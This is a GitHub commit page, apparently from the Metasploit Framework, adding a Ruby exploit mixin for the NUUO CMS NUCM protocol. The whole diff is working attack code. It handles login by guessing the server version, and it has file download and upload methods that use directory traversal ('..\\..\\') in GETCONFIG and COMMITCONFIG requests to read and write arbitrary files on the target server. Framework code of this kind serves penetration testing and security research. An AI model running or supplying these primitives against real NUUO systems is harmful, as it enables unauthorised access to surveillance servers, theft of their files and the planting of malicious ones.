Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
2 changed files
with
197 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
|
@@ -125,3 +125,4 @@ | |
|
||
# Other | ||
require 'msf/core/exploit/windows_constants' | ||
require 'msf/core/exploit/remote/nuuo' |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,196 @@ | ||
require 'msf/core/exploit/tcp' | ||
|
||
### | ||
# | ||
# This module exposes methods that may be useful to exploits that deal with | ||
# servers that speak Nuuo NUCM protocol for their devices and management software. | ||
# | ||
### | ||
module Msf | ||
module Exploit::Remote::Nuuo | ||
include Exploit::Remote::Tcp | ||
|
||
# | ||
# Creates an instance of an Nuuo exploit module. | ||
# | ||
def initialize(info = {}) | ||
super(update_info(info, | ||
'Author' => | ||
[ | ||
'Pedro Ribeiro <pedrib@gmail.com>' | ||
], | ||
)) | ||
|
||
register_options( | ||
[ | ||
Opt::RHOST, | ||
Opt::RPORT(5180), | ||
OptString.new('SESSION', [false, 'Session number of logged in user']), | ||
OptString.new('USERNAME', [false, 'Username to login as', 'admin']), | ||
OptString.new('PASSWORD', [false, 'Password for the specified user', '']), | ||
], Msf::Exploit::Remote::Nuuo) | ||
|
||
register_advanced_options( | ||
[ | ||
OptString.new('PROTOCOL', [ true, 'Nuuo protocol', 'NUCM/1.0']), | ||
]) | ||
|
||
@nucs_session = nil | ||
|
||
# All NUCS versions at time of release | ||
# Note that these primitives are not guaranteed to work in all versions | ||
# Add new version strings here | ||
# We need these to login; | ||
# when requesting a USERLOGIN we need to send the same version as the server... | ||
@nucs_versions = | ||
[ | ||
"1.3.1", | ||
"1.3.3", | ||
"1.5.0", | ||
"1.5.2", | ||
"1.6.0", | ||
"1.7.0", | ||
"2.1.0", | ||
"2.3.0", | ||
"2.3.1", | ||
"2.3.2", | ||
"2.4.0", | ||
"2.5.0", | ||
"2.6.0", | ||
"2.7.0", | ||
"2.8.0", | ||
"2.9.0", | ||
"2.10.0", | ||
"2.11.0", | ||
"3.0.0", | ||
"3.1.0", | ||
"3.2.0", | ||
"3.3.0", | ||
"3.4.0", | ||
"3.5.0" | ||
] | ||
|
||
@nucs_version = nil | ||
end | ||
|
||
|
||
## | ||
# Sends a protocol message aynchronously - fire and forget | ||
## | ||
def nucs_send_msg_async(msg) | ||
begin | ||
ctx = { 'Msf' => framework, 'MsfExploit' => self } | ||
sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => rport, 'Context' => ctx }) | ||
sock.write(format_msg(msg)) | ||
# socket cannot be closed, it causes exploits to fail... | ||
#sock.close | ||
rescue | ||
return | ||
end | ||
end | ||
|
||
|
||
# Sends a protocol data message synchronously - sends and returns the result | ||
# A data message is composed of two parts: first the message length and protocol headers, | ||
# then the actual data, while a non-data message only contains the first part. | ||
## | ||
def nucs_send_msg(msg, data = nil) | ||
ctx = { 'Msf' => framework, 'MsfExploit' => self } | ||
sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => rport, 'Context' => ctx }) | ||
sock.write(format_msg(msg)) | ||
if data != nil | ||
sock.write(data.to_s) | ||
end | ||
res = sock.recv(4096) | ||
more_data = '' | ||
if res =~ /Content-Length:([0-9]+)/ | ||
data_sz = $1.to_i | ||
recv = 0 | ||
while recv < data_sz | ||
new_data = sock.recv(4096) | ||
break if !new_data || new_data.length == 0 | ||
more_data << new_data | ||
recv += new_data.length | ||
end | ||
end | ||
# socket cannot be closed, it causes exploits to fail... | ||
#sock.close | ||
return [res, more_data] | ||
rescue | ||
return ['', ''] | ||
end | ||
|
||
|
||
## | ||
# Downloads a file from the CMS install root. | ||
# Add the ZIP extraction and decryption routine once support for it is added to msf. | ||
## | ||
def nucs_download_file(filename, decrypt = false) | ||
data = nucs_send_msg(["GETCONFIG", "FileName: ..\\..\\#{filename}", "FileType: 1"]) | ||
data[1] | ||
end | ||
|
||
|
||
## | ||
# Uploads a file to the CMS install root. | ||
## | ||
def nucs_upload_file(filename, file_data) | ||
data = nucs_send_msg(["COMMITCONFIG", "FileName: " + "..\\..\\#{filename}", "FileType: 1", "Content-Length: " + file_data.length.to_s], file_data) | ||
if data[0] =~ /200/ | ||
true | ||
else | ||
false | ||
end | ||
end | ||
|
||
# logs in to the NUCS server | ||
# first, it tries to use the datastore SESSION if such exists | ||
# if not, it then tries to login using the datastore USERNAME and PASSWORD | ||
# In order to login properly, we need to guess the server version... | ||
# ... so just try all of them until we hit the right one | ||
def nucs_login | ||
if datastore['SESSION'] != nil | ||
# since we're logged in, we don't need to guess the version any more | ||
@nucs_session = datastore['SESSION'] | ||
return | ||
end | ||
|
||
@nucs_versions.shuffle.each do |version| | ||
@nucs_version = version | ||
|
||
res = nucs_send_msg( | ||
[ | ||
"USERLOGIN", | ||
"Version: #{@nucs_version}", | ||
"Username: #{datastore['USERNAME']}", | ||
"Password-Length: #{datastore['PASSWORD'].length}", | ||
"TimeZone-Length: 0" | ||
], | ||
datastore['PASSWORD'] | ||
) | ||
|
||
if res[0] =~ /User-Session-No: ([a-zA-Z0-9]+)/ | ||
@nucs_session = $1 | ||
break | ||
end | ||
end | ||
end | ||
|
||
private | ||
## | ||
# Formats the message we want to send into the correct protocol format | ||
## | ||
def format_msg(msg) | ||
final_msg = msg[0] + " #{datastore['PROTOCOL']}\r\n" | ||
for line in msg[1...msg.length] | ||
final_msg += "#{line}\r\n" | ||
end | ||
if not final_msg =~ /USERLOGIN/ | ||
final_msg += "User-Session-No: #{@nucs_session}\r\n" | ||
end | ||
return final_msg + "\r\n" | ||
end | ||
|
||
end | ||
|
||
end |